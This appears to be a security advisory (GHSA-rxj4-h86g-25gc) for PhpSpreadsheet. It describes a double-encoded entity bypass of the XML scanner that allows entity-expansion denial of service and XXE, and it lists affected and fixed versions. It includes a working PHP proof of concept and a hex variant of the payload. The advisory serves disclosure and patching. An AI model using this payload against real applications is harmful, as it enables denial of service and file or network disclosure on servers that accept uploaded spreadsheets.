GHSA-rxj4-h86g-25gc

Suggest an improvement
Source
https://github.com/advisories/GHSA-rxj4-h86g-25gc
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-rxj4-h86g-25gc/GHSA-rxj4-h86g-25gc.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-rxj4-h86g-25gc
Aliases
Published
2026-10-27T15:38:22Z
Modified
2026-10-27T15:47:24Z
Severity
  • 8.8 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N CVSS Calculator
Summary
PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service
Details

Summary

The SpreadsheetML XML reader (Reader\Xml) scans file content twice through XmlScanner::scan(), and each scan runs an unentity() callback that calls html_entity_decode() after the pattern check. By double-encoding the < character as &#38;#60;, the first scan decodes &#38; to & (forming &#60;), and the second scan decodes &#60; to < (forming <!DOCTYPE). Neither scan's pattern check detects the <!DOCTYPE string because the callback runs after each check. This enables Denial of Service via entity expansion on all PHP versions, and XXE/SSRF on PHP < 8.0 or when LIBXML_NOENT is used.

Details

The vulnerability involves an interaction between three code locations:

1. XmlScanner::scan() (XmlScanner.php, lines 87–108) — checks the pattern before the callback:

public function scan($xml): string
{
    $pattern = '/\0*<\0*!\0*D\0*O\0*...\0*/';

    if (preg_match($pattern, $xml)) {       // CHECK 1 (raw)
        throw new Exception('Detected use of ENTITY...');
    }
    $xml = $this->toUtf8($xml);
    if (preg_match($pattern, $xml)) {       // CHECK 2 (UTF-8)
        throw new Exception('Detected use of ENTITY...');
    }
    if ($this->callback !== null) {
        $xml = call_user_func($this->callback, $xml); // DECODE (after checks!)
    }
    return $xml;  // <!DOCTYPE now present, never checked
}

2. Xml::canRead() (Xml.php, lines 79–117) — scans and stores the result:

$data = file_get_contents($filename);
$data = $this->getSecurityScannerOrThrow()->scan($data); // 1st scan
// ...
$this->fileContents = $data; // stores partially-decoded content

3. Xml::trySimpleXMLLoadStringPrivate() (Xml.php, lines 120–150) — re-scans the stored content:

$data = $this->fileContents; // already partially decoded
$xml = simplexml_load_string(
    $this->getSecurityScannerOrThrow()->scan($data) // 2nd scan finishes decoding
);

The double-scan decode chain:

Raw file:       &#38;#60;!DOCTYPE
                         |
1st scan():     pattern check → no match (no "<" character)
                callback → html_entity_decode(&#38;) = &
                         |
Stored:         &#60;!DOCTYPE
                         |
2nd scan():     pattern check → no match (no "<" character)
                callback → html_entity_decode(&#60;) = <
                         |
Parser sees:    <!DOCTYPE ← never detected by either scan

The unentity() callback (Xml.php, lines 54–61) protects five named entities (&amp; &lt; &gt; &quot; &apos;) via Unicode placeholders, but numeric entities (&#38; &#60; &#x26; &#x3C;) are not protected and are decoded by html_entity_decode().

PoC

Save the following as poc_toctou.php in a directory with PhpSpreadsheet installed via Composer:

<?php
require 'vendor/autoload.php';

// Double-encoded: &#38;#60; survives two scan() passes
// 1st scan callback: &#38; → & (forms &#60;)
// 2nd scan callback: &#60; → < (forms <!DOCTYPE)
$entity_value = str_repeat('A', 100000);
$refs = str_repeat('&big;', 200);

$xml = '<?xml version="1.0"?>' . "\n"
    . '<?mso-application progid="Excel.Sheet"?>' . "\n"
    . '&#38;#60;!DOCTYPE Workbook [' . "\n"
    . '  &#38;#60;!ENTITY big "' . $entity_value . '">' . "\n"
    . ']>' . "\n"
    . '<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"' . "\n"
    . '  xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">' . "\n"
    . '  <Worksheet ss:Name="Sheet1">' . "\n"
    . '    <Table><Row><Cell><Data ss:Type="String">' . $refs . '</Data></Cell></Row></Table>' . "\n"
    . '  </Worksheet>' . "\n"
    . '</Workbook>';

file_put_contents('poc.xml', $xml);
echo "File size: " . filesize('poc.xml') . " bytes\n";

$mem_before = memory_get_usage(true);
$reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml();
echo "canRead: " . ($reader->canRead('poc.xml') ? 'true' : 'false') . "\n";
$spreadsheet = $reader->load('poc.xml');
$peak = memory_get_peak_usage(true);

echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n";

$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue();
echo "Cell A1 length: " . strlen($val) . " bytes\n";
echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n";

Run: php -d memory_limit=512M poc_toctou.php

Expected result: The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion).

Hex variant: Replace &#38;#60; with &#38;#x3C; — both are decoded by html_entity_decode().

Tested on: PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.

Impact

Attack PHP < 8.0 / libxml2 < 2.9 PHP 8.x / libxml2 2.9+
Denial of Service (quadratic blowup) Exploitable Exploitable
Local file read via SYSTEM entity Exploitable Blocked by default
SSRF via SYSTEM entity Exploitable Blocked by default
File read when LIBXML_NOENT is used Exploitable Exploitable

Any application that accepts user-uploaded SpreadsheetML XML files (recognized by the <?mso-application progid="Excel.Sheet"?> processing instruction) and processes them with PhpSpreadsheet's Xml reader is vulnerable.

Database specific
{
    "cwe_ids":  [
        "CWE-611",
        "CWE-776"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-10-27T15:38:22Z",
    "nvd_published_at":  "2026-10-22T18:17:26Z",
    "severity":  "HIGH"
}
References

Affected packages

Packagist / phpoffice/phpspreadsheet

Package

Name
phpoffice/phpspreadsheet
Purl
pkg:composer/phpoffice/phpspreadsheet

Affected ranges

Type
ECOSYSTEM
Events
Introduced
4.0.0
Fixed
5.10.0

Affected versions

4.*
4.0.0
4.1.0
4.2.0
4.3.0
4.3.1
4.4.0
4.5.0
5.*
5.0.0
5.1.0
5.2.0
5.3.0
5.4.0
5.5.0
5.6.0
5.7.0
5.8.0
5.8.1
5.9.0

Database specific

last_known_affected_version_range
"<= 5.9.0"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-rxj4-h86g-25gc/GHSA-rxj4-h86g-25gc.json"

Packagist / phpoffice/phpspreadsheet

Package

Name
phpoffice/phpspreadsheet
Purl
pkg:composer/phpoffice/phpspreadsheet

Affected ranges

Type
ECOSYSTEM
Events
Introduced
3.3.0
Fixed
3.10.8

Affected versions

3.*
3.3.0
3.4.0
3.5.0
3.6.0
3.7.0
3.8.0
3.9.0
3.9.1
3.9.2
3.9.3
3.10.0
3.10.1
3.10.2
3.10.3
3.10.4
3.10.5
3.10.6
3.10.7

Database specific

last_known_affected_version_range
"<= 3.10.7"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-rxj4-h86g-25gc/GHSA-rxj4-h86g-25gc.json"